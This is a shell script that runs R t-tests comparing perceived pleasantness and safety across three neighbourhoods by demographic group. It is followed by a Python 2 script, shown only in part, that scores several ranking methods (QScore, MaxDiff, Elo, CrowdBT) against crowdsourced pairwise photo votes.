Rscript calculaTTest.R liberdadeAgradMasculinoAll.dat centroAgradMasculinoAll.dat "Liberdade Agra Mas" "Centro Agra Mas" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradMasculinoAll.dat liberdadeAgradMasculinoAll.dat "Catole Agra Mas" "Liberdade Agra Mas" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegMasculinoAll.dat
grep "centro" temp.dat | grep "seg" > centroSegMasculinoAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegMasculinoAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegMasculinoAll.dat centroSegMasculinoAll.dat "Catole Seg Mas" "Centro Seg Mas" "red" >> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegMasculinoAll.dat centroSegMasculinoAll.dat "Liberdade Seg Mas" "Centro Seg Mas" "red" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegMasculinoAll.dat liberdadeSegMasculinoAll.dat "Catole Seg Mas" "Liberdade Seg Mas" "red" >> bairroAll.dat
echo ">>>>>>>>>>>> Casado" >> bairroAll.dat
python analisaQScorePorBairro.py allCasadoOrdInter.dat > temp.dat
echo "### Casado Agra" >> bairroAll.dat
cat meanNeigAgra.dat >> bairroAll.dat
echo "### Casado Seg" >> bairroAll.dat
cat meanNeigSeg.dat >> bairroAll.dat
rm meanNeigAgra.dat meanNeigSeg.dat
grep "catole" temp.dat | grep "agra" > catoleAgradCasadoAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradCasadoAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradCasadoAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradCasadoAll.dat centroAgradCasadoAll.dat "Catole Agra Cas" "Centro Agra Cas" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradCasadoAll.dat centroAgradCasadoAll.dat "Liberdade Agra Cas" "Centro Agra Cas" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradCasadoAll.dat liberdadeAgradCasadoAll.dat "Catole Agra Cas" "Liberdade Agra Cas" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegCasadoAll.dat
grep "centro" temp.dat | grep "seg" > centroSegCasadoAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegCasadoAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegCasadoAll.dat centroSegCasadoAll.dat "Catole Seg Cas" "Centro Seg Cas" "red" >> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegCasadoAll.dat centroSegCasadoAll.dat "Liberdade Seg Cas" "Centro Seg Cas" "red" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegCasadoAll.dat liberdadeSegCasadoAll.dat "Catole Seg Cas" "Liberdade Seg Cas" "red" >> bairroAll.dat
echo ">>>>>>>>>>>>>> Solteiro" >> bairroAll.dat
python analisaQScorePorBairro.py allSolteiroOrdInter.dat > temp.dat
echo "### Solteiro Agra" >> bairroAll.dat
cat meanNeigAgra.dat >> bairroAll.dat
echo "### Solteiro Seg" >> bairroAll.dat
cat meanNeigSeg.dat >> bairroAll.dat
rm meanNeigAgra.dat meanNeigSeg.dat
grep "catole" temp.dat | grep "agra" > catoleAgradSolteiroAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradSolteiroAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradSolteiroAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradSolteiroAll.dat centroAgradSolteiroAll.dat "Catole Agra Sol" "Centro Agra Sol" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradSolteiroAll.dat centroAgradSolteiroAll.dat "Liberdade Agra Sol" "Centro Agra Sol" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradSolteiroAll.dat liberdadeAgradSolteiroAll.dat "Catole Agra Sol" "Liberdade Agra Sol" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegSolteiroAll.dat
grep "centro" temp.dat | grep "seg" > centroSegSolteiroAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegSolteiroAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegSolteiroAll.dat centroSegSolteiroAll.dat "Catole Seg Sol" "Centro Seg Sol" "red" >> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegSolteiroAll.dat centroSegSolteiroAll.dat "Liberdade Seg Sol" "Centro Seg Sol" "red" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegSolteiroAll.dat liberdadeSegSolteiroAll.dat "Catole Seg Sol" "Liberdade Seg Sol" "red" >> bairroAll.dat
echo ">>>>>>>>>>>>>> Medio" >> bairroAll.dat
python analisaQScorePorBairro.py allMedioOrdInter.dat > temp.dat
echo "### Medio Agra" >> bairroAll.dat
cat meanNeigAgra.dat >> bairroAll.dat
echo "### Medio Seg" >> bairroAll.dat
cat meanNeigSeg.dat >> bairroAll.dat
rm meanNeigAgra.dat meanNeigSeg.dat
grep "catole" temp.dat | grep "agra" > catoleAgradMedioAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradMedioAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradMedioAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradMedioAll.dat centroAgradMedioAll.dat "Catole Agra Medio" "Centro Agra Medio" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradMedioAll.dat centroAgradMedioAll.dat "Liberdade Agra Medio" "Centro Agra Medio" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradMedioAll.dat liberdadeAgradMedioAll.dat "Catole Agra Medio" "Liberdade Agra Medio" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegMedioAll.dat
grep "centro" temp.dat | grep "seg" > centroSegMedioAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegMedioAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegMedioAll.dat centroSegMedioAll.dat "Catole Seg Medio" "Centro Seg Medio" "red" >> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegMedioAll.dat centroSegMedioAll.dat "Liberdade Seg Medio" "Centro Seg Medio" "red" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegMedioAll.dat liberdadeSegMedioAll.dat "Catole Seg Medio" "Liberdade Seg Medio" "red" >> bairroAll.dat
echo ">>>>>>>>>>>>>> Pos" >> bairroAll.dat
python analisaQScorePorBairro.py allPosOrdInter.dat > temp.dat
echo "### Pos Agra" >> bairroAll.dat
cat meanNeigAgra.dat >> bairroAll.dat
echo "### Pos Seg" >> bairroAll.dat
cat meanNeigSeg.dat >> bairroAll.dat
rm meanNeigAgra.dat meanNeigSeg.dat
grep "catole" temp.dat | grep "agra" > catoleAgradPosAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradPosAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradPosAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradPosAll.dat centroAgradPosAll.dat "Catole Agra Pos" "Centro Agra Pos" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradPosAll.dat centroAgradPosAll.dat "Liberdade Agra Pos" "Centro Agra Pos" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradPosAll.dat liberdadeAgradPosAll.dat "Catole Agra Pos" "Liberdade Agra Pos" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegPosAll.dat
grep "centro" temp.dat | grep "seg" > centroSegPosAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegPosAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegPosAll.dat centroSegPosAll.dat "Catole Seg Pos" "Centro Seg Pos" "red" >> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegPosAll.dat centroSegPosAll.dat "Liberdade Seg Pos" "Centro Seg Pos" "red" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegPosAll.dat liberdadeSegPosAll.dat "Catole Seg Pos" "Liberdade Seg Pos" "red" >> bairroAll.dat
echo ">>>>>>>>>>>>>> Conhece" >> bairroAll.dat
python analisaQScorePorBairro.py allCentroOrdInter.dat > temp.dat
python analisaQScorePorBairro.py allCatoleOrdInter.dat >> temp.dat
python analisaQScorePorBairro.py allLiberdadeOrdInter.dat >> temp.dat
grep "catole" temp.dat | grep "agra" > catoleAgradConheceAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradConheceAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradConheceAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradConheceAll.dat centroAgradConheceAll.dat "Catole Agra Con" "Centro Agra Con" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradConheceAll.dat centroAgradConheceAll.dat "Liberdade Agra Con" "Centro Agra Con" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradConheceAll.dat liberdadeAgradConheceAll.dat "Catole Agra Con" "Liberdade Agra Con" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegConheceAll.dat
grep "centro" temp.dat | grep "seg" > centroSegConheceAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegConheceAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegConheceAll.dat centroSegConheceAll.dat "Catole Seg Con" "Centro Seg Con" "green">> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegConheceAll.dat centroSegConheceAll.dat "Liberdade Seg Con" "Centro Seg Con" "green" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegConheceAll.dat liberdadeSegConheceAll.dat "Catole Seg Con" "Liberdade Seg Con" "green" >> bairroAll.dat
echo ">>>>>>>>>>>>>> Não Conhece" >> bairroAll.dat
python analisaQScorePorBairro.py allNotCentroOrdInter.dat > temp.dat
python analisaQScorePorBairro.py allNotCatoleOrdInter.dat >> temp.dat
python analisaQScorePorBairro.py allNotLiberdadeOrdInter.dat >> temp.dat
grep "catole" temp.dat | grep "agra" > catoleAgradNConheceAll.dat
grep "centro" temp.dat | grep "agra" > centroAgradNConheceAll.dat
grep "liberdade" temp.dat | grep "agra" > liberdadeAgradNConheceAll.dat
echo "Agra Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradNConheceAll.dat centroAgradNConheceAll.dat "Catole Agra NCon" "Centro Agra NCon" "green">> bairroAll.dat
echo "Agra Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeAgradNConheceAll.dat centroAgradNConheceAll.dat "Liberdade Agra NCon" "Centro Agra NCon" "green" >> bairroAll.dat
echo "Agra Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleAgradNConheceAll.dat liberdadeAgradNConheceAll.dat "Catole Agra NCon" "Liberdade Agra NCon" "green" >> bairroAll.dat
grep "catole" temp.dat | grep "seg" > catoleSegNConheceAll.dat
grep "centro" temp.dat | grep "seg" > centroSegNConheceAll.dat
grep "liberdade" temp.dat | grep "seg" > liberdadeSegNConheceAll.dat
echo "Seg Cat x Centro" >> bairroAll.dat
Rscript calculaTTest.R catoleSegNConheceAll.dat centroSegNConheceAll.dat "Catole Seg NCon" "Centro Seg NCon" "green">> bairroAll.dat
echo "Seg Lib x Centro" >> bairroAll.dat
Rscript calculaTTest.R liberdadeSegNConheceAll.dat centroSegNConheceAll.dat "Liberdade Seg NCon" "Centro Seg NCon" "green" >> bairroAll.dat
echo "Seg Cat x Liberdade" >> bairroAll.dat
Rscript calculaTTest.R catoleSegNConheceAll.dat liberdadeSegNConheceAll.dat "Catole Seg NCon" "Liberdade Seg NCon" "green" >> bairroAll.dat
mkdir bairros100
rm -f temp.dat
mv bairroAll.dat catole*.dat centro*.dat liberdade*.dat boxplot\ *.pdf norm\ *.pdf bairros100/
<file_sep># coding=utf-8
# Test predictions on testing data for each ranking strategy
import csv
import math
import sys
from sets import Set
import random
import numpy
import json
import pandas as pd
threshold = 0.01
possibleQuestions = ["agrad%C3%A1vel?", "seguro?"]
left = 'Left'
right = 'Right'
notKnown = 'NotKnown'
completeTie = 'equal'
def build_qscore_rankings(index):
data = pd.read_table("ranking_predictions/all_qscore_80_"+str(index)+".dat", sep='\s+', encoding='utf8', header=None)
pleasant = data[data.loc[:,0] == "agrad%C3%A1vel?"].sort(columns=[2], ascending=True).reset_index(drop=True)
safe = data[data.loc[:,0] == "seguro?"].sort(columns=[2], ascending=True).reset_index(drop=True)
#print("QScore " + str(pleasant.shape) + "\t" + str(safe.shape))
return {possibleQuestions[0] : pleasant, possibleQuestions[1] : safe}
def build_maxdiff_rankings(index):
data = pd.read_table("ranking_predictions/all.dat-maxdiff_80_"+str(index), sep='\s+', encoding='utf8', header=None)
pleasant = data[data.loc[:,0] == "agrad%C3%A1vel?"].sort(columns=[2], ascending=True).reset_index(drop=True)
safe = data[data.loc[:,0] == "seguro?"].sort(columns=[2], ascending=True).reset_index(drop=True)
#print("Maxdiff " + str(pleasant.shape) + "\t" + str(safe.shape))
return {possibleQuestions[0] : pleasant, possibleQuestions[1] : safe}
def build_elo_rankings(index):
data = pd.read_table("ranking_predictions/all_elo_80_10_"+str(index)+".dat", sep='\s+', encoding='utf8', header=None)
pleasant_10 = data[data.loc[:,0] == "agrad%C3%A1vel?"].sort(columns=[2], ascending=True).reset_index(drop=True)
safe_10 = data[data.loc[:,0] == "seguro?"].sort(columns=[2], ascending=True).reset_index(drop=True)
#print("Elo " + str(pleasant_10.shape) + "\t" + str(safe_10.shape))
data = pd.read_table("ranking_predictions/all_elo_80_20_"+str(index)+".dat", sep='\s+', encoding='utf8', header=None)
pleasant_20 = data[data.loc[:,0] == "agrad%C3%A1vel?"].sort(columns=[2], ascending=True).reset_index(drop=True)
safe_20 = data[data.loc[:,0] == "seguro?"].sort(columns=[2], ascending=True).reset_index(drop=True)
#print("Elo " + str(pleasant_20.shape) + "\t" + str(safe_20.shape))
data = pd.read_table("ranking_predictions/all_elo_80_40_"+str(index)+".dat", sep='\s+', encoding='utf8', header=None)
pleasant_40 = data[data.loc[:,0] == "agrad%C3%A1vel?"].sort(columns=[2], ascending=True).reset_index(drop=True)
safe_40 = data[data.loc[:,0] == "seguro?"].sort(columns=[2], ascending=True).reset_index(drop=True)
#print("Elo " + str(pleasant_40.shape) + "\t" + str(safe_40.shape))
return {"10" : {possibleQuestions[0] : pleasant_10, possibleQuestions[1] : safe_10}, "20" : {possibleQuestions[0] : pleasant_20, possibleQuestions[1] : safe_20}, "40" : {possibleQuestions[0] : pleasant_40, possibleQuestions[1] : safe_40}}
def build_crowdbt_rankings(index):
data = pd.read_table("ranking_predictions/all_crowdbt_80-lam01-gam01_"+str(index)+".dat", sep='\s+', encoding='utf8', header=None)
pleasant_01 = data[data.loc[:,0] == "agrad%C3%A1vel?"].sort(columns=[2], ascending=True).reset_index(drop=True)
safe_01 = data[data.loc[:,0] == "seguro?"].sort(columns=[2], ascending=True)
#print("gavel " + str(pleasant_01.shape) + "\t" + str(safe_01.shape))
data = pd.read_table("ranking_predictions/all_crowdbt_80-lam1-gam01_"+str(index)+".dat", sep='\s+', encoding='utf8', header=None)
pleasant_1 = data[data.loc[:,0] == "agrad%C3%A1vel?"].sort(columns=[2], ascending=True).reset_index(drop=True)
safe_1 = data[data.loc[:,0] == "seguro?"].sort(columns=[2], ascending=True)
#print("gavel " + str(pleasant_1.shape) + "\t" + str(safe_1.shape))
return {"01" : {possibleQuestions[0] : pleasant_01, possibleQuestions[1] : safe_01}, "1" : {possibleQuestions[0] : pleasant_1, possibleQuestions[1] : safe_1}}
def check_ranking_prediction(current_ranking, photo1, photo2, counters, tie=False):
index1 = current_ranking.loc[current_ranking.loc[:,1] == photo1].index[0]
index2 = current_ranking.loc[current_ranking.loc[:,1] == photo2].index[0]
#if abs(current_ranking.loc[current_ranking.loc[:,1] == photo1][1] - current_ranking.loc[current_ranking.loc[:,1] == photo2][2]) > threshold:
#print(photo1+"\t"+photo2+"\t"+str(index1)+"\t"+str(index2))
if tie:
#print ">>>> Não estamos considerando empates agora"
pass
else:
if index1 > index2:
counters[0] = counters[0] + 1
elif index1 < index2:
counters[3] = counters[3] + 1
#else:
# if tie:
# counters[0] = counters[0] + 1
# else:
# counters[3] = counters[3] + 1
return counters
def read_test_data(tasksDefinitions, elo, maxdiff, qscore, crowdbt, qscore_counters, maxdiff_counters, crowdbt_counters, elo_counters, index):
lines = open("../../backupBanco/ranking_predictions/run_20_"+str(index)+".csv", "r").readlines()
#Reading from pybossa task-run CSV
for line in lines:
lineData = line.split("+")
executionID = lineData[0].strip(' \t\n\r"')
taskID = lineData[3].strip(' \t\n\r"')
userAnswer = lineData[9].strip(' \t\n\r"')
#It is a new vote, read tasks definition from JSON!
if executionID[0].lower() == 'n':
data = json.loads(userAnswer)
if data['question'].strip(' \t\n\r"') == "agradavel":
question = possibleQuestions[0]
else:
question = possibleQuestions[1]
photo1 = data['theMost'].strip(' \t\n\r"')
photo2 = data['theLess'].strip(' \t\n\r"')
is_tie = photo1
taskDef = tasksDefinitions[taskID]
photos = Set( [taskDef['url_c'].strip(' \t\n\r"'), taskDef['url_b'].strip(' \t\n\r"'), taskDef['url_a'].strip(' \t\n\r"'), taskDef['url_d'].strip(' \t\n\r"')] )
if is_tie != completeTie:#Review this!
photos.remove(photo1)
photos.remove(photo2)
else:
photo1 = photos.pop()
photo2 = photos.pop()
photo3 = photos.pop()
photo4 = photos.pop()
#Comparing votes!
if is_tie != completeTie:
#Photo1 x Photo2
#print(">>>> Photo1 x Photo2")
#print("Max diff")
current_ranking = maxdiff[question]
counters = maxdiff_counters[question]
maxdiff_counters[question] = check_ranking_prediction(current_ranking, photo1, photo2, counters)
#print("Qscore")
#current_ranking = qscore[question]
#counters = qscore_counters[question]
#qscore_counters[question] = check_ranking_prediction(current_ranking, photo1, photo2, counters)
#print("Elo 10")
#current_ranking = elo["10"][question]
#counters = elo_counters["10"][question]
#elo_counters["10"][question] = check_ranking_prediction(current_ranking, photo1, photo2, counters)
#print("Elo 20")
#current_ranking = elo["20"][question]
#counters = elo_counters["20"][question]
#elo_counters["20"][question] = check_ranking_prediction(current_ranking, photo1, photo2, counters)
#print("Elo 40")
#current_ranking = elo["40"][question]
#counters = elo_counters["40"][question]
#elo_counters["40"][question] = check_ranking_prediction(current_ranking, photo1, photo2, counters)
#print("Crowdbt 01")
current_ranking = crowdbt["01"][question]
counters = crowdbt_counters["01"][question]
crowdbt_counters["01"][question] = check_ranking_prediction(current_ranking, photo1, photo2, counters)
#print("Crowdbt 1")
current_ranking = crowdbt["1"][question]
counters = crowdbt_counters["1"][question]
crowdbt_counters["1"][question] = check_ranking_prediction(current_ranking, photo1, photo2, counters)
#Photo1 x Photo3
current_ranking = maxdiff[question]
counters = maxdiff_counters[question]
maxdiff_counters[question] = check_ranking_prediction(current_ranking, photo1, photo3, counters)
#current_ranking = qscore[question]
#counters = qscore_counters[question]
#qscore_counters[question] = check_ranking_prediction(current_ranking, photo1, photo3, counters)
#current_ranking = elo["10"][question]
# counters = elo_counters["10"][question]
# elo_counters["10"][question] = check_ranking_prediction(current_ranking, photo1, photo3, counters)
# current_ranking = elo["20"][question]
# counters = elo_counters["20"][question]
# elo_counters["20"][question] = check_ranking_prediction(current_ranking, photo1, photo3, counters)
# current_ranking = elo["40"][question]
# counters = elo_counters["40"][question]
# elo_counters["40"][question] = check_ranking_prediction(current_ranking, photo1, photo3, counters)
current_ranking = crowdbt["01"][question]
counters = crowdbt_counters["01"][question]
crowdbt_counters["01"][question] = check_ranking_prediction(current_ranking, photo1, photo3, counters)
current_ranking = crowdbt["1"][question]
counters = crowdbt_counters["1"][question]
crowdbt_counters["1"][question] = check_ranking_prediction(current_ranking, photo1, photo3, counters)
#Photo1 x Photo4
current_ranking = maxdiff[question]
counters = maxdiff_counters[question]
maxdiff_counters[question] = check_ranking_prediction(current_ranking, photo1, photo4, counters)
#current_ranking = qscore[question]
#counters = qscore_counters[question]
#qscore_counters[question] = check_ranking_prediction(current_ranking, photo1, photo4, counters)
#current_ranking = elo["10"][question]
#counters = elo_counters["10"][question]
#elo_counters["10"][question] = check_ranking_prediction(current_ranking, photo1, photo4, counters)
#current_ranking = elo["20"][question]
#counters = elo_counters["20"][question]
#elo_counters["20"][question] = check_ranking_prediction(current_ranking, photo1, photo4, counters)
#current_ranking = elo["40"][question]
#counters = elo_counters["40"][question]
#elo_counters["40"][question] = check_ranking_prediction(current_ranking, photo1, photo4, counters)
current_ranking = crowdbt["01"][question]
counters = crowdbt_counters["01"][question]
crowdbt_counters["01"][question] = check_ranking_prediction(current_ranking, photo1, photo4, counters)
current_ranking = crowdbt["1"][question]
counters = crowdbt_counters["1"][question]
crowdbt_counters["1"][question] = check_ranking_prediction(current_ranking, photo1, photo4, counters)
#Photo2 x Photo3
current_ranking = maxdiff[question]
counters = maxdiff_counters[question]
maxdiff_counters[question] = check_ranking_prediction(current_ranking, photo3, photo2, counters)
#current_ranking = qscore[question]
#counters = qscore_counters[question]
#qscore_counters[question] = check_ranking_prediction(current_ranking, photo3, photo2, counters)
#current_ranking = elo["10"][question]
#counters = elo_counters["10"][question]
#elo_counters["10"][question] = check_ranking_prediction(current_ranking, photo3, photo2, counters)
#current_ranking = elo["20"][question]
#counters = elo_counters["20"][question]
#elo_counters["20"][question] = check_ranking_prediction(current_ranking, photo3, photo2, counters)
#current_ranking = elo["40"][question]
#counters = elo_counters["40"][question]
#elo_counters["40"][question] = check_ranking_prediction(current_ranking, photo3, photo2, counters)
current_ranking = crowdbt["01"][question]
counters = crowdbt_counters["01"][question]
crowdbt_counters["01"][question] = check_ranking_prediction(current_ranking, photo3, photo2, counters)
current_ranking = crowdbt["1"][question]
counters = crowdbt_counters["1"][question]
crowdbt_counters["1"][question] = check_ranking_prediction(current_ranking, photo3, photo2, counters)
#Photo2 x Photo4
current_ranking = maxdiff[question]
counters = maxdiff_counters[question]
maxdiff_counters[question] = check_ranking_prediction(current_ranking, photo4, photo2, counters)
#current_ranking = qscore[question]
#counters = qscore_counters[question]
#qscore_counters[question] = check_ranking_prediction(current_ranking, photo4, photo2, counters)
#current_ranking = elo["10"][question]
#counters = elo_counters["10"][question]
#elo_counters["10"][question] = check_ranking_prediction(current_ranking, photo4, photo2, counters)
#current_ranking = elo["20"][question]
#counters = elo_counters["20"][question]
#elo_counters["20"][question] = check_ranking_prediction(current_ranking, photo4, photo2, counters)
#current_ranking = elo["40"][question]
#counters = elo_counters["40"][question]
#elo_counters["40"][question] = check_ranking_prediction(current_ranking, photo4, photo2, counters)
current_ranking = crowdbt["01"][question]
counters = crowdbt_counters["01"][question]
crowdbt_counters["01"][question] = check_ranking_prediction(current_ranking, photo4, photo2, counters)
current_ranking = crowdbt["1"][question]
counters = crowdbt_counters["1"][question]
crowdbt_counters["1"][question] = check_ranking_prediction(current_ranking, photo4, photo2, counters)
#Photo3 x Photo4
current_ranking = maxdiff[question]
counters = maxdiff_counters[question]
maxdiff_counters[question] = check_ranking_prediction(current_ranking, photo4, photo3, counters, True)
#current_ranking = qscore[question]
#counters = qscore_counters[question]
#qscore_counters[question] = check_ranking_prediction(current_ranking, photo4, photo3, counters, True)
#current_ranking = elo["10"][question]
#counters = elo_counters["10"][question]
#elo_counters["10"][question] = check_ranking_prediction(current_ranking, photo4, photo3, counters, True)
#current_ranking = elo["20"][question]
#counters = elo_counters["20"][question]
#elo_counters["20"][question] = check_ranking_prediction(current_ranking, photo4, photo3, counters, True)
#current_ranking = elo["40"][question]
#counters = elo_counters["40"][question]
#elo_counters["40"][question] = check_ranking_prediction(current_ranking, photo4, photo3, counters, True)
current_ranking = crowdbt["01"][question]
counters = crowdbt_counters["01"][question]
crowdbt_counters["01"][question] = check_ranking_prediction(current_ranking, photo4, photo3, counters, True)
current_ranking = crowdbt["1"][question]
counters = crowdbt_counters["1"][question]
crowdbt_counters["1"][question] = check_ranking_prediction(current_ranking, photo4, photo3, counters, True)
else:
pass
#print(">>>>> Empates não considerados por enquanto")
#votes[question][photo1][photo2].add(notKnown)
#votes[question][photo1][photo3].add(notKnown)
#votes[question][photo1][photo4].add(notKnown)
#votes[question][photo2][photo3].add(notKnown)
#votes[question][photo2][photo4].add(notKnown)
#votes[question][photo3][photo4].add(notKnown)
else:#Old-fashioned way of capturing votes
#In user answers that contain profile information, jump to comparison
if userAnswer[0] == '{':
index = userAnswer.find("Qual")
if index == -1:
raise Exception("Line with profile does not contain question: " + userAnswer)
userAnswer = userAnswer[index:].split(" ")
else:
userAnswer = userAnswer.split(" ")
question = userAnswer[5].strip(' \t\n\r"')
answer = userAnswer[6].strip(' \t\n\r"')
photo1 = userAnswer[7].strip(' \t\n\r"')
photo2 = userAnswer[8].strip(' \t\n\r"')
#Checking answers
if answer == left:
#Photo1 x Photo2
current_ranking = maxdiff[question]
counters = maxdiff_counters[question]
maxdiff_counters[question] = check_ranking_prediction(current_ranking, photo1, photo2, counters)
#current_ranking = qscore[question]
#counters = qscore_counters[question]
#qscore_counters[question] = check_ranking_prediction(current_ranking, photo1, photo2, counters)
#current_ranking = elo["10"][question]
#counters = elo_counters["10"][question]
#elo_counters["10"][question] = check_ranking_prediction(current_ranking, photo1, photo2, counters)
#current_ranking = elo["20"][question]
#counters = elo_counters["20"][question]
#elo_counters["20"][question] = check_ranking_prediction(current_ranking, photo1, photo2, counters)
#current_ranking = elo["40"][question]
#counters = elo_counters["40"][question]
#elo_counters["40"][question] = check_ranking_prediction(current_ranking, photo1, photo2, counters)
current_ranking = crowdbt["01"][question]
counters = crowdbt_counters["01"][question]
crowdbt_counters["01"][question] = check_ranking_prediction(current_ranking, photo1, photo2, counters)
current_ranking = crowdbt["1"][question]
counters = crowdbt_counters["1"][question]
crowdbt_counters["1"][question] = check_ranking_prediction(current_ranking, photo1, photo2, counters)
elif answer == right:
#Photo1 x Photo2
current_ranking = maxdiff[question]
counters = maxdiff_counters[question]
maxdiff_counters[question] = check_ranking_prediction(current_ranking, photo2, photo1, counters)
#current_ranking = qscore[question]
#counters = qscore_counters[question]
#qscore_counters[question] = check_ranking_prediction(current_ranking, photo2, photo1, counters)
#current_ranking = elo["10"][question]
#counters = elo_counters["10"][question]
#elo_counters["10"][question] = check_ranking_prediction(current_ranking, photo2, photo1, counters)
#current_ranking = elo["20"][question]
#counters = elo_counters["20"][question]
#elo_counters["20"][question] = check_ranking_prediction(current_ranking, photo2, photo1, counters)
#current_ranking = elo["40"][question]
#counters = elo_counters["40"][question]
#elo_counters["40"][question] = check_ranking_prediction(current_ranking, photo2, photo1, counters)
current_ranking = crowdbt["01"][question]
counters = crowdbt_counters["01"][question]
crowdbt_counters["01"][question] = check_ranking_prediction(current_ranking, photo2, photo1, counters)
current_ranking = crowdbt["1"][question]
counters = crowdbt_counters["1"][question]
crowdbt_counters["1"][question] = check_ranking_prediction(current_ranking, photo2, photo1, counters)
else:
#print(">>>>> Empates não considerados por enquanto")
pass
def readTasksDefinitions(linesTasks):
tasksDef = {}
for line in linesTasks:
data = line.split("+")
taskID = data[0].strip(' \t\n\r')
currentDef = json.loads(data[7].strip(' \t\n\r\"'))
tasksDef[taskID] = currentDef
return tasksDef
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <tasks definition file>"
sys.exit(1)
tasksFile = open(sys.argv[1], 'r')
linesTasks = tasksFile.readlines()
tasksDefinitions = readTasksDefinitions(linesTasks)
qscore_acc = {possibleQuestions[0]: [], possibleQuestions[1]: []}
maxdiff_acc = {possibleQuestions[0]: [], possibleQuestions[1]: []}
crowdbt_acc = {"01" : {possibleQuestions[0]: [], possibleQuestions[1]: []}, "1": {possibleQuestions[0]: [], possibleQuestions[1]: []}}
elo_acc = {"10":{possibleQuestions[0]: [], possibleQuestions[1]: []}, "20":{possibleQuestions[0]: [], possibleQuestions[1]: []}, "40":{possibleQuestions[0]: [], possibleQuestions[1]: []}}
for i in range(0,500):
qscore_counters = {possibleQuestions[0]: [0,0,0,0], possibleQuestions[1]: [0,0,0,0]}#positives, negatives, false positives, false negatives
maxdiff_counters = {possibleQuestions[0]: [0,0,0,0], possibleQuestions[1]: [0,0,0,0]}
